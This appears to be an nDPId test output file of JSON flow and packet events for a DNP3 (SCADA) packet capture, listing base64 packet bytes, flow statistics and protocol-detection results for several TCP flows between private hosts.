+00413{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503490,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTFpAAIAGmmsKAAAICgAAAwrlTiBVHBrTUsY4hlAQ\/\/9HiQAAAAAAAAAA"} +00413{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503490,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTFpAAIAGmmsKAAAICgAAAwrlTiBVHBrTUsY4hlAQ\/\/9HiQAAAAAAAAAA"} +00413{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":503490,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTFpAAIAGmmsKAAAICgAAAwrlTiBVHBrTUsY4hlAQ\/\/9HiQAAAAAAAAAA"} +00431{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":504844,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5kmNAAIAGVFEKAAADCgAACE4gCuVSxjiGVRwa01AY\/\/+NwQAABWQKRAMABAB8rub3ghAAT70="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":10,"flow_first_seen":1097501938503,"flow_last_seen":1097501938504,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":20,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2789,"dst_port":20000,"l4_proto":"tcp","ndpi": {"proto":"DNP3","breed":"Acceptable","category":"IoT-Scada"}} +00431{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":504844,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5kmNAAIAGVFEKAAADCgAACE4gCuVSxjiGVRwa01AY\/\/+NwQAABWQKRAMABAB8rub3ghAAT70="} +00431{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":504844,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5kmNAAIAGVFEKAAADCgAACE4gCuVSxjiGVRwa01AY\/\/+NwQAABWQKRAMABAB8rub3ghAAT70="} +00414{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":655139,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTFtAAIAGmmoKAAAICgAAAwrlTiBVHBrTUsY4l1AQ\/+5HiQAAAAAAAAAA"} +00414{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":655139,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTFtAAIAGmmoKAAAICgAAAwrlTiBVHBrTUsY4l1AQ\/+5HiQAAAAAAAAAA"} +00414{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097501938,"pkt_ts_usec":655139,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTFtAAIAGmmoKAAAICgAAAwrlTiBVHBrTUsY4l1AQ\/+5HiQAAAAAAAAAA"} +00462{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1097502623045,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2803,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":45756,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTRVAAIAGmagKAAAICgAAAwrzTiBm5W0JAAAAAHAC\/\/9CEwAAAgQFtAEBBAI="} +00417{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":45756,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTRVAAIAGmagKAAAICgAAAwrzTiBm5W0JAAAAAHAC\/\/9CEwAAAgQFtAEBBAI="} +00417{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":45756,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTRVAAIAGmagKAAAICgAAAwrzTiBm5W0JAAAAAHAC\/\/9CEwAAAgQFtAEBBAI="} +00417{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":45930,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwkrlAAIAGVAQKAAADCgAACE4gCvNc+rZHZuVtCnAS\/\/8uwAAAAgQFtAEBBAI="} +00417{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":45930,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwkrlAAIAGVAQKAAADCgAACE4gCvNc+rZHZuVtCnAS\/\/8uwAAAAgQFtAEBBAI="} +00417{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":45930,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwkrlAAIAGVAQKAAADCgAACE4gCvNc+rZHZuVtCnAS\/\/8uwAAAAgQFtAEBBAI="} +00413{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":46134,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTRZAAIAGma8KAAAICgAAAwrzTiBm5W0KXPq2SFAQ\/\/9bhAAAAAAAAAAA"} +00413{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":46134,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTRZAAIAGma8KAAAICgAAAwrzTiBm5W0KXPq2SFAQ\/\/9bhAAAAAAAAAAA"} +00413{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":46134,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTRZAAIAGma8KAAAICgAAAwrzTiBm5W0KXPq2SFAQ\/\/9bhAAAAAAAAAAA"} +00431{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":47417,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5krpAAIAGU\/oKAAADCgAACE4gCvNc+rZIZuVtClAY\/\/8AfwAABWQKRAMABAB8rur5ggAAm1o="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":49,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":10,"flow_first_seen":1097502623045,"flow_last_seen":1097502623047,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":20,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2803,"dst_port":20000,"l4_proto":"tcp","ndpi": {"proto":"DNP3","breed":"Acceptable","category":"IoT-Scada"}} +00431{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":47417,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5krpAAIAGU\/oKAAADCgAACE4gCvNc+rZIZuVtClAY\/\/8AfwAABWQKRAMABAB8rur5ggAAm1o="} +00431{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":47417,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5krpAAIAGU\/oKAAADCgAACE4gCvNc+rZIZuVtClAY\/\/8AfwAABWQKRAMABAB8rur5ggAAm1o="} +00414{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":227359,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTRdAAIAGma4KAAAICgAAAwrzTiBm5W0KXPq2WVAQ\/+5bhAAAAAAAAAAA"} +00414{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":227359,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTRdAAIAGma4KAAAICgAAAwrzTiBm5W0KXPq2WVAQ\/+5bhAAAAAAAAAAA"} +00414{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097502623,"pkt_ts_usec":227359,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTRdAAIAGma4KAAAICgAAAwrzTiBm5W0KXPq2WVAQ\/+5bhAAAAAAAAAAA"} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":39,"flow_first_seen":1097501938503,"flow_last_seen":1097502062040,"flow_tot_l4_data_len":1173,"flow_min_l4_data_len":20,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2789,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":79,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":39,"flow_first_seen":1097502623045,"flow_last_seen":1097502648678,"flow_tot_l4_data_len":1023,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2803,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1097504102255,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2828,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":255746,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTjtAAIAGmIIKAAAICgAAAwsMTiCPBdusAAAAAHAC\/\/+rNgAAAgQFtAEBBAI="} +00418{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":255746,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTjtAAIAGmIIKAAAICgAAAwsMTiCPBdusAAAAAHAC\/\/+rNgAAAgQFtAEBBAI="} +00418{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":255746,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwTjtAAIAGmIIKAAAICgAAAwsMTiCPBdusAAAAAHAC\/\/+rNgAAAgQFtAEBBAI="} +00419{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":255913,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwk7JAAIAGUwsKAAADCgAACE4gCwxzB1SQjwXbrXAS\/\/\/jjQAAAgQFtAEBBAI="} +00419{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":255913,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwk7JAAIAGUwsKAAADCgAACE4gCwxzB1SQjwXbrXAS\/\/\/jjQAAAgQFtAEBBAI="} +00419{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":255913,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwk7JAAIAGUwsKAAADCgAACE4gCwxzB1SQjwXbrXAS\/\/\/jjQAAAgQFtAEBBAI="} +00414{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":256118,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTjxAAIAGmIkKAAAICgAAAwsMTiCPBdutcwdUkVAQ\/\/8QUgAAAAAAAAAA"} +00414{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":256118,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTjxAAIAGmIkKAAAICgAAAwsMTiCPBdutcwdUkVAQ\/\/8QUgAAAAAAAAAA"} +00414{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":256118,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTjxAAIAGmIkKAAAICgAAAwsMTiCPBdutcwdUkVAQ\/\/8QUgAAAAAAAAAA"} +00431{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":257400,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5k7NAAIAGUwEKAAADCgAACE4gCwxzB1SRjwXbrVAY\/\/8pVQAABWQKRAMABAB8rsnyghAAigc="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":10,"flow_first_seen":1097504102255,"flow_last_seen":1097504102257,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":20,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2828,"dst_port":20000,"l4_proto":"tcp","ndpi": {"proto":"DNP3","breed":"Acceptable","category":"IoT-Scada"}} +00431{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":257400,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5k7NAAIAGUwEKAAADCgAACE4gCwxzB1SRjwXbrVAY\/\/8pVQAABWQKRAMABAB8rsnyghAAigc="} +00431{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":257400,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AFAEk3BnAAKzznBRCABFAAA5k7NAAIAGUwEKAAADCgAACE4gCwxzB1SRjwXbrVAY\/\/8pVQAABWQKRAMABAB8rsnyghAAigc="} +00414{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":401087,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTj1AAIAGmIgKAAAICgAAAwsMTiCPBdutcwdUolAQ\/+4QUgAAAAAAAAAA"} +00414{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":401087,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTj1AAIAGmIgKAAAICgAAAwsMTiCPBdutcwdUolAQ\/+4QUgAAAAAAAAAA"} +00414{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097504102,"pkt_ts_usec":401087,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAKzznBRAFAEk3BnCABFAAAoTj1AAIAGmIgKAAAICgAAAwsMTiCPBdutcwdUolAQ\/+4QUgAAAAAAAAAA"} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":217,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":138,"flow_first_seen":1097504102255,"flow_last_seen":1097504224083,"flow_tot_l4_data_len":6225,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.8","dst_ip":"10.0.0.3","src_port":2828,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":217,"source":"dnp3.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1097505644006,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.9","dst_ip":"10.0.0.3","src_port":1080,"dst_port":20000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":6837,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAVNAAIAG5WkKAAAJCgAAAwQ4TiAZahgcAAAAAHAC\/\/\/rNQAAAgQFtAEBBAI="} +00418{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":6837,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAVNAAIAG5WkKAAAJCgAAAwQ4TiAZahgcAAAAAHAC\/\/\/rNQAAAgQFtAEBBAI="} +00418{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":6837,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAKzznBRAFAEk3BnCABFAAAwAVNAAIAG5WkKAAAJCgAAAwQ4TiAZahgcAAAAAHAC\/\/\/rNQAAAgQFtAEBBAI="} +00418{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"dnp3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1097505644,"pkt_ts_usec":7009,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFAEk3BnAAKzznBRCABFAAAwxfhAAIAGIMQKAAADCgAACU4gBDiWbHn2GWoYHXAS\/\/\/awQAAAgQFtAEBBAI="} 